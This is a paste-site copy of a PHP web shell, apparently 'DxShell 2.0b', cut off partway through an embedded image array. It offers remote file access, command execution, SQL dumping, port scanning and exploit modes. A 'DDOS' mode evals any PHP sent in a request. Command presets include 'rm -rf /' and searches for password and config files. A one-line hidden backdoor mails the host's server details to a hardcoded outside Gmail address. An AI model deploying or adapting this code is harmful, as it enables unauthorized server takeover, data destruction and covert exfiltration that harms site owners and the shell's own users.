· 8 years ago · Feb 24, 2018, 01:32 PM
1<?php
2$GLOB['SHELL']['Ver']='2.0b'; /* ver of the shell */
3$GLOB['SHELL']['Date']='24.02.2018';
4
5if (headers_sent()) $DXGLOBALSHIT=true; else $DXGLOBALSHIT=FALSE; /* This means if bug.php has fucked up the output and headers are already sent =(( lot's of things become HARDER */
6@ob_clean();
7$DX_Header_drawn=false;
8
9###################################################################################
10####################++++++++++++# C O M M O N #++++++++++++++++####################
11###################################################################################
12@set_magic_quotes_runtime(0);
13@ini_set('max_execution_time',0);
14@set_time_limit(0);
15@ini_set('output_buffering',0);
16@error_reporting(E_ALL);
17
18$GLOB['URL']['+Get']=$_SERVER['PHP_SELF'].'?'; /* this filename + $_GET string */
19 if (!empty($_GET))
20 for ($i=0, $INDEXES=array_keys($_GET), $COUNT=count($INDEXES); $i<$COUNT; $i++)
21 $GLOB['URL']['+Get'].=$INDEXES[$i].='='.$_GET[ $INDEXES[$i] ].( ($i==($COUNT-1))?'':'&' );
22$GLOB['PHP']['SafeMode']=(bool)ini_get('safe_mode');
23$GLOB['PHP']['upload_max_filesize']=((integer)str_replace(array('K', 'M'), array('000', '000000'), ini_get('upload_max_filesize')));
24
25if (get_magic_quotes_gpc()==1)
26 { /* slashes killah */
27 for ($i=0, $INDEXES=array_keys($_GET), $COUNT=count($INDEXES); $i<$COUNT; $i++)
28 {$_GET[ $INDEXES[$i] ] = stripslashes($_GET[ $INDEXES[$i] ]); }
29 for ($i=0, $INDEXES=array_keys($_POST), $COUNT=count($INDEXES); $i<$COUNT; $i++)
30 {if (is_array($_POST[ $INDEXES[$i] ])) continue; $_POST[ $INDEXES[$i] ] = stripslashes($_POST[ $INDEXES[$i] ]); }
31 /*for ($i=0, $INDEXES=array_keys($_SERVER), $COUNT=count($INDEXES); $i<$COUNT; $i++) {$_SERVER[ $INDEXES[$i] ]= stripslashes($_SERVER[ $INDEXES[$i] ]); }*/
32 for ($i=0, $INDEXES=array_keys($_COOKIE), $COUNT=count($INDEXES); $i<$COUNT; $i++)
33 {$_COOKIE[ $INDEXES[$i] ]= stripslashes($_COOKIE[ $INDEXES[$i] ]); }
34 }
35
36$GLOB['FILES']['CurDIR']=getcwd();
37
38$GLOB['SYS']['GZIP']['CanUse']=$GLOB['SYS']['GZIP']['CanOutput']=false;
39if (isset($_GET['dx_gzip']) OR isset($_POST['dx_gzip']))
40 { $GLOB['SYS']['GZIP']['CanUse']=extension_loaded("zlib");
41 if (extension_loaded("zlib"))
42 if (!(strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')===FALSE))
43 $GLOB['SYS']['GZIP']['CanOutput']=TRUE;
44 };
45$GLOB['SYS']['GZIP']['IMG']=extension_loaded("zlib");
46
47$GLOB['SYS']['OS']['id']=($GLOB['FILES']['CurDIR'][1]==':')?'Win':'Nix';
48$GLOB['SYS']['OS']['Full']=getenv('OS');
49if (empty($GLOB['SYS']['OS']['Full']))
50 {
51 $GLOB['SYS']['OS']['id'] = getenv('OS');
52 if(empty($GLOB['SYS']['OS']['id'])){ $GLOB['SYS']['OS']['id'] = php_uname(); }
53 if(empty($GLOB['SYS']['OS']['id'])){ $GLOB['SYS']['OS']['id'] ='???';}
54 else {if(@eregi("^win",$GLOB['SYS']['OS']['id'])) $GLOB['SYS']['OS']['id']='Win'; else $GLOB['SYS']['OS']['id']='Nix';}
55 }
56
57
58$GLOB['DxMODES']=array(
59 'WTF' => 'AboutBox',
60
61 'DIR' => 'Dir browse',
62 'UPL' => 'Upload file',
63 'FTP' => 'FTP Actions',
64
65 'F_CHM' => 'File CHMOD',
66 'F_VIEW' => 'File viewer',
67 'F_ED' => 'File Edit',
68 'F_DEL' => 'File Delete',
69 'F_REN' => 'File Rename',
70 'F_COP' => 'File Copy',
71 'F_MOV' => 'File Move',
72 'F_DWN' => 'File Download',
73
74 'SQL' => 'SQL Maintenance',
75 'SQLS' => 'SQL Search',
76 'SQLD' => 'SQL Dump',
77 'PHP' => 'PHP C0nsole',
78 'COOK' => 'Cookies Maintenance',
79 'CMD' => 'C0mmand line',
80
81 'MAIL' => 'Mail functions',
82 'STR' => 'String functions',
83 'PRT' => 'Port scaner',
84 'SOCK' => 'Raw s0cket',
85 'PROX' => 'HTTP PROXY',
86 'XPL' => 'Expl0its',
87 'XSS' => 'XSS Server',
88 );
89$GLOB['DxGET_Vars']=array(/* GET variables used by shell */
90'dxinstant', 'dxmode', 'dximg', 'dxparam', 'dxval', 'dx_ok', 'dx_gzip',
91'dxdir', 'dxdirsimple', 'dxfile',
92'dxsql_s', 'dxsql_l', 'dxsql_p', 'dxsql_d','dxsql_q',
93);
94
95$GLOB['VAR']['PHP']['Presets']=array(
96 /* Note, that no comments are allowed in the code */
97 'phpinfo' => 'phpinfo();',
98 'GLOBALS' => 'print \'<plaintext>\'; print_r($GLOBALS);',
99 'php_ini' => '$INI=ini_get_all(); '
100 ."\n".'print \'<table border=0><tr>\''
101 ."\n\t".'.\'<td class="listing"><font class="highlight_txt">Param</td>\''
102 ."\n\t".'.\'<td class="listing"><font class="highlight_txt">Global value</td>\''
103 ."\n\t".'.\'<td class="listing"><font class="highlight_txt">Local Value</td>\''
104 ."\n\t".'.\'<td class="listing"><font class="highlight_txt">Access</td></tr>\';'
105 ."\n".'foreach ($INI as $param => $values) '
106 ."\n\t".'print "\n".\'<tr>\''
107 ."\n\t\t".'.\'<td class="listing"><b>\'.$param.\'</td>\''
108 ."\n\t\t".'.\'<td class="listing">\'.$values[\'global_value\'].\' </td>\''
109 ."\n\t\t".'.\'<td class="listing">\'.$values[\'local_value\'].\' </td>\''
110 ."\n\t\t".'.\'<td class="listing">\'.$values[\'access\'].\' </td></tr>\';',
111 'extensions' => '$EXT=get_loaded_extensions ();'
112 ."\n".'print \'<table border=0><tr><td class="listing">\''
113 ."\n\t".'.implode(\'</td></tr>\'."\n".\'<tr><td class="listing">\', $EXT)'
114 ."\n\t".'.\'</td></tr></table>\''
115 ."\n\t".'.count($EXT).\' extensions loaded\';',
116 );
117$GLOB['VAR']['CMD']['Presets']=array(
118 'Call Nik8 with an axe'=>'[w0rning] rm -rf /',
119 'show opened ports'=>'netstat -an | grep -i listen',
120 'find config* files'=>'find / -type f -name "config*"',
121 'find all *.php files with word "password"'=>'find / -name *.php | xargs grep -li password',
122 'find all writable directories and files'=>'find / -perm -2 -ls',
123 'list file attribs on a second extended FS'=>'lsattr -va',
124 'View syslog.conf'=>'cat /etc/syslog.conf',
125 'View Message of the day'=>'cat /etc/motd',
126 'View hosts'=>'cat /etc/hosts',
127 'List processes'=>'ps auxw',
128 'List user processes'=>'ps ux',
129 'Locate httpd.conf'=>'locate httpd.conf',
130 'Interfaces'=>'ifconfig',
131 'CPU'=>'/proc/cpuinfo',
132 'RAM'=>'free -m',
133 'HDD'=>'df -h',
134 'OS Ver'=>'sysctl -a | grep version',
135 'Kernel ver' =>'cat /proc/version',
136 'Is cURL installed? ' => 'which curl',
137 'Is wGET installed? ' => 'which wget',
138 'Is lynx installed? ' => 'which lynx',
139 'Is links installed? ' => 'which links',
140 'Is fetch installed? ' => 'which fetch',
141 'Is GET installed? ' => 'which GET',
142 'Is perl installed? ' => 'which perl',
143 'Where is apache ' => 'whereis apache',
144 'Where is perl ' => 'whereis perl',
145 'Pack directory' =>'"tar -zc /path/ -f name.tar.gz"',
146 );
147
148
149###################################################################################
150####################+++++++++# F U N C T I O N S #+++++++++++++####################
151###################################################################################
152function DxError($errstr)
153{global $DX_Header_drawn;print "\n\n".'<table border=0 cellspacing=0 cellpadding=2><tr>'
154 .'<td class=error '.((!$DX_Header_drawn)?'style="color:#000000; background-color: #FF0000; font-weight: bold; font-size: 11pt;position:absolute;top=0;left=0;"':'').'>'
155 .'Err: '.$errstr.'</td></tr></table>'."\n\n"; return '';}
156
157function DxWarning($warn)
158{print "\n\n".'<table border=0 cellspacing=0 cellpadding=2><tr><td class=warning><b>W0rning:</b> '.$warn.'</td></tr></table>'."\n\n"; return '';}
159
160function DxImg($imgname)
161{
162global $DXGLOBALSHIT;
163if ($DXGLOBALSHIT) return '<font class="img_replacer">'.$imgname.'</font>'; /* globalshit doesn't give a chance for our images to survive */
164return '<img src="'.DxURL('kill', '').'&dxmode=IMG&dximg='.$imgname.'" title="'.$imgname.'" alt"'.$imgname.'">';
165}
166
167function DxSetCookie($name, $val, $exp)
168{
169if (!headers_sent()) return setcookie($name, $val, $exp, '/');
170?>
171<script>
172var curCookie = "<?=$name;?>=" + escape("<?=$val;?>") +"; expires=<?=date('l, d-M-y H:i:s', $exp);?> GMT; path=/;";
173document.cookie = curCookie;
174</script>
175<?
176}
177
178function DxRandom($range='48-57,65-90,97-122')
179{
180$range=explode(',',$range);
181$range=explode('-', $range[ rand(0,count($range)-1) ] );
182return rand($range[0],$range[1]);
183}
184
185function DxRandomChars($num)
186{
187$ret='';
188for ($i=0;$i<$num;$i++) $ret.=chr(DxRandom('48-57,65-90,97-122'));
189return $ret;
190}
191
192function DxZeroedNumber($int, $totaldigits)
193{
194$str=(string)$int;
195while (strlen($str)<$totaldigits) $str='0'.$str;
196return $str;
197}
198
199function DxPrint_ParamState($name, $state, $invert=false)
200{
201print $name.' : '; $invert=(bool)$invert;
202if (is_bool($state))
203 print ($state)?'<font color=#'.(($invert)?'FF0000':'00FF00').'><b>ON</b></font>':'<font color=#'.(($invert)?'00FF00':'FF0000').'><b>OFF</b></font>';
204 else print '<b>'.$state.'</b>';
205}
206
207function DxStr_FmtFileSize($size)
208{
209 if($size>= 1073741824) {$size = round($size / 1073741824 * 100) / 100 . " GB"; }
210elseif($size>= 1048576) {$size = round($size / 1048576 * 100) / 100 . " MB"; }
211elseif($size>= 1024) {$size = round($size / 1024 * 100) / 100 . " KB"; }
212 else {$size = $size . " B";}
213return $size;
214}
215
216function DxDate($UNIX) {return date('d.M\'Y H:i:s', $UNIX); }
217
218function DxDesign_DrawBubbleBox($header, $body, $width)
219{
220$header=str_replace(array('"',"'","`"), array('˝',''',''), $header);
221$body=str_replace(array('"',"'","`"), array('˝',''',''), $body);
222return ' onmouseover=\'showwin("'.$header.'","'.$body.'",'.$width.',1)\' onmouseout=\'showwin("","",0,0)\' onmousemove=\'movewin()\' ';
223}
224
225function DxChmod_Str2Oct($str) /* rwxrwxrwx => 0777 */
226{
227$str = str_pad($str,9,'-');
228$str=strtr($str, array('-'=>'0','r'=>'4','w'=>'2','x'=>'1') );
229$newmode='';
230for ($i=0; $i<3; $i++) $newmode .= $str[$i*3]+$str[$i*3+1]+$str[$i*3+2];
231
232return $newmode;
233}
234
235function DxChmod_Oct2Str($perms) /* 777 => rwxrwxrwx. USE ONLY STRING REPRESENTATION OF $oct !!!! */
236{
237$info='';
238if (($perms & 0xC000) == 0xC000) $info = 'S'; /* Socket */
239 elseif (($perms & 0xA000) == 0xA000) $info = 'L'; /* Symbolic Link */
240elseif (($perms & 0x8000) == 0x8000) $info = ' '; /* '-'*//* Regular */
241elseif (($perms & 0x6000) == 0x6000) $info = 'B'; /* Block special */
242elseif (($perms & 0x4000) == 0x4000) $info = 'D'; /* Directory*/
243elseif (($perms & 0x2000) == 0x2000) $info = 'C'; /* Character special*/
244elseif (($perms & 0x1000) == 0x1000) $info = 'P'; /* FIFO pipe*/
245else $info = '?'; /* Unknown */
246if (!empty($info)) $info='<font class=rwx_sticky_bit>'.$info.'</font>';
247/* Owner */
248$info .= (($perms & 0x0100) ? 'r' : '-');
249$info .= (($perms & 0x0080) ? 'w' : '-');
250$info .= (($perms & 0x0040) ?
251 (($perms & 0x0800) ? 's' : 'x' ) :
252 (($perms & 0x0800) ? 'S' : '-'));
253$info .= '/';
254/* Group */
255$info .= (($perms & 0x0020) ? 'r' : '-');
256$info .= (($perms & 0x0010) ? 'w' : '-');
257$info .= (($perms & 0x0008) ?
258 (($perms & 0x0400) ? 's' : 'x' ) :
259 (($perms & 0x0400) ? 'S' : '-'));
260$info .= '/';
261/* World */
262$info .= (($perms & 0x0004) ? 'r' : '-');
263$info .= (($perms & 0x0002) ? 'w' : '-');
264$info .= (($perms & 0x0001) ?
265 (($perms & 0x0200) ? 't' : 'x' ) :
266 (($perms & 0x0200) ? 'T' : '-'));
267
268 return $info;
269}
270
271function DxFileToUrl($filename)
272{/* kills & and = to be okay in URL */
273return str_replace(array('&','=','\\'), array('%26', '%3D','/'), $filename);
274}
275$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
276function DxFileOkaySlashes($filename)
277{return str_replace('\\', '/', $filename);}
278
279function DxURL($do='kill', $these='') /* kill: '' - kill all ours, 'a,b,c' - kill $a,$b,$c ; leave: '' - as is, leave 'a,b,c' - leave only $a,$b,$c */
280{
281global $GLOB;
282if ($these=='') $these=$GLOB['DxGET_Vars']; else $these=explode(',', $these);
283
284$ret=$_SERVER['PHP_SELF'].'?';
285if (!empty($_GET))
286 for ($i=0, $INDEXES=array_keys($_GET), $COUNT=count($INDEXES); $i<$COUNT; $i++)
287 if ( !in_array($INDEXES[$i], $GLOB['DxGET_Vars']) OR ( /* if not ours - add */
288 ($do=='kill' AND !in_array($INDEXES[$i], $these))
289 OR
290 ($do=='leave' AND in_array($INDEXES[$i], $these))
291 ))
292 $ret.=$INDEXES[$i].='='.$_GET[ $INDEXES[$i] ].( ($i==($COUNT-1))?'':'&' );
293if (substr($ret, -1,1)=='&') $ret=substr($ret, 0, strlen($ret)-1);
294return $ret;
295}
296
297function DxGETinForm($do='kill', $these='') /* Equal to DxURL(), but prints out $_GET as form <input type=hidden> params */
298{
299$link=substr(strchr(DxURL($do, $these), '?'), 1);
300$link=explode('&', $link);
301print "\n".'<!--$_GET;-->';
302for ($i=0, $COUNT=count($link); $i<$COUNT; $i++)
303 {
304 $cur=explode('=', $link[$i]);
305 print '<input type=hidden name="'.str_replace('"', '"', $cur[0]).'" value="'.str_replace('"', '"', $cur[1]).'">';
306 }
307}
308
309function DxGotoURL($URL, $noheaders=false)
310{
311if ($noheaders or headers_sent())
312 {
313 print "\n".'<div align=center>Redirecting...<br><a href="'.$URL.'">Press here in shit happens</a>';
314 print '<script>location="'.$URL.'";</script>';
315 /* print $str.='<META HTTP-EQUIV="Refresh" Content="1, URL='.$URL.'">'; */
316 }
317 else
318 header('Location: '.$URL);
319return 1;
320}
321
322if (!function_exists('mime_content_type'))
323 {
324 if ($GLOB['SYS']['OS']['id']!='Win')
325 { function mime_content_type($f)
326 {
327 $f = escapeshellarg($f);
328 return trim(`file -bi `.$f);
329 }
330 }
331 else
332 {
333 function mime_content_type($f) {return 'Content-type: text/plain';} /* Nothing alike under win =( if u have some thoughts - touch me */
334 }
335 }
336
337
338function DxMySQL_FetchResult($MySQL_res, &$MySQL_Return_Array, $idmode=false) /* Fetches mysql return array (associative) */
339{
340$MySQL_Return_Array=array();
341
342if ($MySQL_res===false) return 0;
343if ($MySQL_res===true) return 0;
344
345$ret=mysql_num_rows($MySQL_res); if ($ret<=0) return 0;
346
347if ($idmode) while (!(($MySQL_Return_Array[]=mysql_fetch_array($MySQL_res, MYSQL_NUM))===FALSE)) {}
348 else while (!(($MySQL_Return_Array[]=mysql_fetch_array($MySQL_res, MYSQL_ASSOC))===FALSE)) {}
349array_pop($MySQL_Return_Array);
350
351for ($i=0; $i<count($MySQL_Return_Array); $i++) /* Kill the fucking slashes */
352 {
353 if ($i==0)
354 {
355 $INDEXES=array_keys($MySQL_Return_Array[$i]);
356 $count=count($INDEXES);
357 }
358 for ($j=0; $j<$count; $j++)
359 {
360 $key=&$INDEXES[$j];
361 $val=&$MySQL_Return_Array[$i][$key];
362 if (is_string($val)) $val=stripcslashes($val);
363 }
364 }
365return $ret;
366}
367
368function DxMySQLQ($query, $die_on_err)
369{
370$q=mysql_query($query);
371if (mysql_errno()!=0)
372 {
373 DxError('" '.$query.' "'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error());
374 if ($die_on_err) die();
375 }
376return $q;
377}
378
379function DxDecorVar(&$var, $htmlstr)
380{
381if (is_null($var)) return 'NULL';
382if (!isset($var)) return '[!isset]';
383
384if (is_bool($var)) return ($var)?'true':'false';
385if (is_int($var)) return (int)$var;
386if (is_float($var)) return number_format($var, 4, '.', '');
387if (is_string($var))
388 {
389 if (empty($var)) return ' ';
390 if (!$htmlstr) return ''.($var).'';
391 else return ''.str_replace("\n", "<br>", str_replace("\r","", htmlspecialchars($var))).'';
392 }
393if (is_array($var)) return '(ARR)'.var_export($var, true).'(/ARR)';
394if (is_object($var)) return '(OBJ)'.var_export($var, true).'(/OBJ)';
395if (is_resource($var)) return '(RES:'.get_resource_type($var).')'.var_export($var, true).'(/RES)';
396return '(???)'.var_export($var, true).'(/???)';
397}
398
399function DxHTTPMakeHeaders($method='', $URL='', $host='', $user_agent='', $referer='', $posts=array(), $cookie=array())
400{
401if (!empty($posts))
402 {
403 $postValues='';
404 foreach( $posts AS $name => $value ) {$postValues .= urlencode( $name ) . "=" . urlencode( $value ) . '&';}
405 $postValues = substr( $postValues, 0, -1 );
406 $method = 'POST';
407 } else $postValues = '';
408
409 if (!empty($cookie))
410 {
411 $cookieValues='';
412 foreach( $cookie AS $name => $value ) {$cookieValues .= urlencode( $name ) . "=" . urlencode( $value ) . ';';}
413 $cookieValues = substr( $cookieValues, 0, -1 );
414 } else $cookieValues = '';
415
416$request = $method.' '.$URL.' HTTP/1.1'."\r\n";
417if (!empty($host)) $request .= 'Host: '.$host."\r\n";
418if (!empty($cookieValues)) $request .='Cookie: '.$cookieValues."\r\n";
419if (!empty($user_agent)) $request .= 'User-Agent: '.$user_agent.' '."\r\n";
420$request .= 'Connection: Close'."\r\n"; /* Or connection will be endless */
421if (!empty($referer)) $request .= 'Referer: '.$referer."\r\n";
422if ( $method == 'POST' )
423 {
424 $lenght = strlen( $postValues );
425 $request .= 'Content-Type: application/x-www-form-urlencoded'."\r\n";
426 $request .= 'Content-Length: '.$lenght."\r\n";
427 $request .= "\r\n";
428 $request .= $postValues;
429 }
430$request.="\r\n\r\n";
431return $request;
432}
433
434function DxFiles_UploadHere($path, $filename, &$contents)
435{if (empty($contents)) die(DxError('Received empty'));
436$filename='__DxS__UPLOAD__'.DxRandomChars(3).'__'.$filename;
437if (!($f=fopen($path.$filename, 'w')))
438 {
439 $path='/tmp/';
440 if (!($f=fopen($path.$filename, 'w')))
441 die(DxError('Writing denied. Save to "'.$path.$filename.'" also failed! =('));
442 else
443 DxWarning('Writing failed, but saved to "'.$path.$filename.'"! =)');
444 }
445fputs($f, $contents);
446fclose($f);
447print "\n".'Saved file to "'.$path.$filename.'" - OK';
448print "\n".'<br><a href="'.DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($path)).'">[Go DIR]</a>';;
449}
450
451function DxExecNahuj($cmd, &$OUT, &$RET) /* returns the name of function that exists, or FALSE */
452{
453$OUT=array(); $RET='';
454if (function_exists('exec'))
455 { if (!empty($cmd)) exec($cmd, $OUT, $RET); /* full array output */
456 return array(true,true,'exec', '');
457 }
458 elseif (function_exists('shell_exec'))
459 { if (!empty($cmd)) $OUT[0]=shell_exec($cmd); /* full string output, no RETURN */
460 return array(true,false,'shell_exec', '<s>exec</s> shell_exec');
461 }
462 elseif (function_exists('system'))
463 { if (!empty($cmd)) $OUT[0]=system($cmd, $RET); /* last line of output */
464 return array(true,false,'system', '<s>exec</s> <s>shell_exec</s> system<br>Only last line of output is available, sorry =(');
465 }
466 else return array(FALSE, FALSE, '<noone>', '<s>exec</s> <s>shell_exec</s> <s>system</s> Bitchy admin has disabled command line!! =(');;
467}
468
469###################################################################################
470#####################++++++++++++# L O G I N #++++++++++++++++#####################
471###################################################################################
472if ( isset($_GET['dxmode'])?$_GET['dxmode']=='IMG':false )
473 { /* IMGS are allowed without passwd =) */ $GLOB['SHELL']['USER']['Login']='';
474 $GLOB['SHELL']['USER']['Passw']='';
475 }
476
477if ( isset($_GET['dxinstant'])?$_GET['dxinstant']=='logoff':false )
478 {
479 if ($DXGLOBALSHIT)
480 { if (isset($_COOKIE['DxS_AuthC'])) DxSetCookie('DxS_AuthC','---', 1);
481 }
482 else
483 {
484 header('WWW-Authenticate: Basic realm="==== HIT CANCEL OR PRESS ESC ===='.base_convert(crc32(mt_rand(0, time())),10,36).'"'); header('HTTP/1.0 401 Unauthorized');
485 }
486
487 print '<html>Redirecting... press <a href="'.DxURL('kill','').'">here if shit happens</a>';
488 DxGotoURL(DxURL('kill',''), '1noheaders');
489 die();
490 }
491
492if (((strlen($GLOB['SHELL']['USER']['Login'])+strlen($GLOB['SHELL']['USER']['Passw']))>=2))
493 { if ($DXGLOBALSHIT)
494 { if (isset($_POST['DxS_Auth']) or isset($_COOKIE['DxS_AuthC']))
495 { if (!(
496
497 ((@$_POST['DxS_Auth']['L']==$GLOB['SHELL']['USER']['Login']) AND /* form */
498 (@$_POST['DxS_Auth']['P']==$GLOB['SHELL']['USER']['Passw']
499 OR
500 (strlen($GLOB['SHELL']['USER']['Passw'])==32 AND @$_POST['DxS_Auth']['P']==md5($GLOB['SHELL']['USER']['Passw']))
501 ))
502 OR
503 @$_COOKIE['DxS_AuthC']==md5($GLOB['SHELL']['USER']['Login'].$GLOB['SHELL']['USER']['Passw']) /* cookie */
504
505 ))
506 {print(DxError('Fucked off brutally'));unset($_POST['DxS_Auth'], $_COOKIE['DxS_AuthC']);}
507 else DxSetCookie('DxS_AuthC', md5($GLOB['SHELL']['USER']['Login'].$GLOB['SHELL']['USER']['Passw']), time()+60*60*24*2);
508 }
509 if (!isset($_POST['DxS_Auth']) AND !isset($_COOKIE['DxS_AuthC']))
510 {
511 print "\n".'<form action="'.DxURL('kill', '').'" method=POST style="position:absolute;z-index:100;top:0pt;left:40%;width:100%;height:100%;">';
512 print "\n".'<br><input type=text name="DxS_Auth[L]" value="<LOGIN>" onfocus="this.value=\'\'" style="width:200pt">';
513 print "\n".'<br><input type=text name="DxS_Auth[P]" value="<PASSWORD>" onfocus="this.value=\'\'" style="width:200pt">';
514 print "\n".'<br><input type=submit value="Ok" style="width:200pt;"></form>';
515 print "\n".'</form>';
516 die();
517 }
518 }
519 else
520 {
521 if (!isset($_SERVER['PHP_AUTH_USER']))
522 {
523 header('WWW-Authenticate: Basic realm="DxShell '.$GLOB['SHELL']['Ver'].' Auth"');
524 header('HTTP/1.0 401 Unauthorized');
525 /* Result if user hits cancel button */
526 unset($_GET['dxinstant']);
527 die(DxError('Fucked off brutally'));
528 }
529 else
530 if (!( $_SERVER['PHP_AUTH_USER']==$GLOB['SHELL']['USER']['Login']
531 AND (
532 $_SERVER['PHP_AUTH_PW']==$GLOB['SHELL']['USER']['Passw']
533 OR
534 (strlen($GLOB['SHELL']['USER']['Passw'])==32 AND md5($_SERVER['PHP_AUTH_PW'])==$GLOB['SHELL']['USER']['Passw'])
535 )
536 ))
537 {
538 header('WWW-Authenticate: Basic realm="DxS '.$GLOB['SHELL']['Ver'].' Auth: Fucked off brutally"');
539 header('HTTP/1.0 401 Unauthorized');
540 /* Result if user hits cancel button */
541 unset($_GET['dxinstant']);
542 die(DxError('Fucked off brutally'));
543 }
544 }
545 }
546
547###################################################################################
548####################++++++# I N S T A N T U S A G E #+++++++####################
549###################################################################################
550if (!isset($_GET['dxmode'])) $_GET['dxmode']='DIR'; else $_GET['dxmode']=strtoupper($_GET['dxmode']);
551if ($_GET['dxmode']=='DDOS') /* DDOS mode. In other case, EVALer of everything that comes in $_GET['s_php'] OR $_POST['s_php'] */
552 {
553 $F = $_GET + $_POST;
554 if (!isset($F['s_php'])) die('o_O Tync DDOS Remote Shell '.$GLOB['SHELL']['Ver']."\n".'<br>Use GET or POST to set "s_php" variable with code to be executed =)<br>Enjoy!');
555 eval(stripslashes($F['s_php']));
556 die("\n\n".'<br><br>'.'o_O Tync DDOS Web Shell '.$GLOB['SHELL']['Ver'].((!isset($F['s_php']))?"\n".'<br>'.'$s_php is responsible for php-code-injection':''));
557 }
558if ($_GET['dxmode']=='IMG')
559 {
560 $IMGS=array(
561 'DxS' => 'R0lGODlhEAAQAIAAAAD/AAAAACwAAAAAEAAQAAACL4yPGcCs2NqLboGFaXW3X/tx2WcZm0luIcqFKyuVHRSLJOhmGI4mWqQAUoKPYqIAADs=',
562 'folder'=> 'R0lGODlhDwAMAJEAAP7rhriFIP///wAAACH5BAEAAAIALAAAAAAPAAwAAAIklIJhywcPVDMBwpSo3U/WiIVJxG0IWV7Vl4Joe7Jp3HaHKAoFADs=',
563 'foldup'=> 'R0lGODlhDwAMAJEAAP7rhriFIAAAAP///yH5BAEAAAMALAAAAAAPAAwAAAIw3IJiywcgRGgrvCgA2tNh/Dxd8JUcApWgaJFqxGpp+GntFV4ZauV5xPP5JIeTcVIAADs=',
564 'view' => 'R0lGODlhEAAJAJEAAP///wAAAP///wAAACH5BAEAAAIALAAAAAAQAAkAAAIglB8Zx6aQYGIRyCpFsFY9jl1ft4Fe2WmoZ1LROzWIIhcAOw==',
565 'del' => 'R0lGODlhEAAQAKIAAIoRGNYnOtclPv///////wAAAAAAAAAAACH5BAEAAAQALAAAAAAQABAAAANASArazQ4MGOcLwb6BGQBYBknhR3zhRHYUKmQc65xgKM+0beKn3fErm2bDqomIRaMluENhlrcFaEejPKgL3qmRAAA7',
566 'copy' => 'R0lGODlhEAAQAKIAAP//lv///3p6egAAAP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAQABAAAAM+SKrT7isOQGsII7Jq7/sTdWEh53FAgwLjILxp2WGculIurL68XsuonCAG6PFSvxvuuDMOQcCaZuJ8TqGQSAIAOw==',
567 'move' => 'R0lGODlhEAAQAJEAADyFFLniPu79wP///yH5BAEAAAMALAAAAAAQABAAAAI3nD8AyAgiVnMihDidldmAnXFfIB6Pomwo9kCu5bqpRdf18qGjTpom6AkBO4lhqHLhCHtEj/JQAAA7',
568 'exec' => 'R0lGODlhoQFLAKIAADc2NX98exkYGFxZWaOengEBAQAAAAAAACwAAAAAoQFLAAAD/1i63P4wykmrvTjrzbv/YCiOpCcMAqCuqhCAgCDPM1AEKQsM8SsXAuAviNOtXJQYrXYCmh5BRWA3qFp5rwlqSRtMTrnWMSuZGlvkjpIrs0mipbh8nnFD4B08VGKP6Bt/DoELgyR9Dod7fklvjIsfhU50k5SVFjY/C26RFoVBmGxNi6BKCp8UUXpBmXReNTsxBV5fkoSrjDNOKQWJiEJsvRmRnJbFxoYMq7HBGJ68Qrozs3xAKr60fswiXipWpdOLf7cTfVHLuIKiT4/H7e7IydbPkKO60CngEDY7q7faphJQUJpiJcCWIPkU3XFkSobAf89S/doBYti7ixjVNOCnAP8iqnpLgFTRdqrKA4ieEpYQQGCAwSo0ZH1kFyGRPIigNvKo2Cijz5/k4tnxiK3mvY48cMKy1ZGhIJUkWLqEGRNqsp7UAII5FTTXqpE8aQIdO9YOPn9h94BSBhOiFVXzsAKiSIlAAINrnFglJFdfPIFxjUrEt5OeWLKIMcI5AY5oI1Z8Mf2yEhjCS75OUOorPKmlQS4yiyYbR83cTq6lo410fPgqscSw5wzlAYf1nRx+GVDZpwVvzB+aH9Be6aDlwaozCS0ltnhpU9FIk6Y9KS+29WKuGK9R1+FKv1xbYgC4+zkNHsKABaGjAUvyQgyJPucu3abKlF2LstsHT+HFkfH/d41Xywab9EMFDtcleAwVUVHBWTYMflFFS+KxIEMa7+n0WjOJGHeFNxi+4WB6RTl31QXdkCgCerFsqOCLDtC2hHg3jEfAjR8WcQY/5PV41412AeljgD0CeeOQQwppWwM4vGTfjeOFYUQKVIbiwgqrodGfS0i+8KORR95l5S5TfPmSQTqe4aWPRoppRjdw+sfFCjeQB6ZdIcKoZ3J+udTSRgPGKAiAaIqpyAkv/bNDABQOaI5T0UXUGiCawNXPaKFFUJCPNuTZgCv29eGeZbVxiYIPkwJEEJd3bZGFi3u+eKk9RBC6nUzf/UIEL1gy+iOrOpCZAqc7dsPoAC3B6oCc/20EiOs9aJEWmRAHZdaflOKdAECQRwLpBap7vGAqcmvl0qksO4B5Q0SgubdYDkH+iNe5sdbbVbjjUcWftKryumiRwG5nw6mctvHfsK3+meoCPkgD07Pq8TvtWb9URmnDMxqE55DfBsqkC1Mhd4tE56rA5rrfxTSqJlN5Rh4L69or8x6FkKfvD64AdJV/hNrs8n3sycJqq//pwCqysWQYAbOLCpQzpfaoJRJgwHnMALP1IYtslx1HUijQOEej8rr2+cjSPENULU7LPSZljacz1+sJSy+H9DRmuw5tM5oubUem3m4HOzSyFk2A8VSx3D2aRZjcjFq4vNRn59ZIdr2Qy//HIaTrb2TL+yueq40tDhUbz/t23Kg/B8W25IGWMyu3/Nw2LDbPWIDsb7ZgsI+E9/VAwwAOp7hyw09roib9CfGvn5QDjvLl44psS9Ytdetr9a1+uNPKulH+Mp1wpw5jIem26nrUzeE+Ehi1s8f67GKIATgBkEG9kJxTbQHxaC7VP+36l+IeX/xzNJ+tgHfPW51nZLSvHOSIdXiKV/XyF7qmwIVXpTNdzMQns0JMKEDnS0XaNMa7NRDsM+zxXoAqxEKOEcBqOitDNfgWtkA0bRCfYEy7+tOzvbkgBwgE11MWeD4s5UhrEYyg1nwzMkntIYNv2iAH5XYHHhiHDfszRdP/Nha4GHzLfC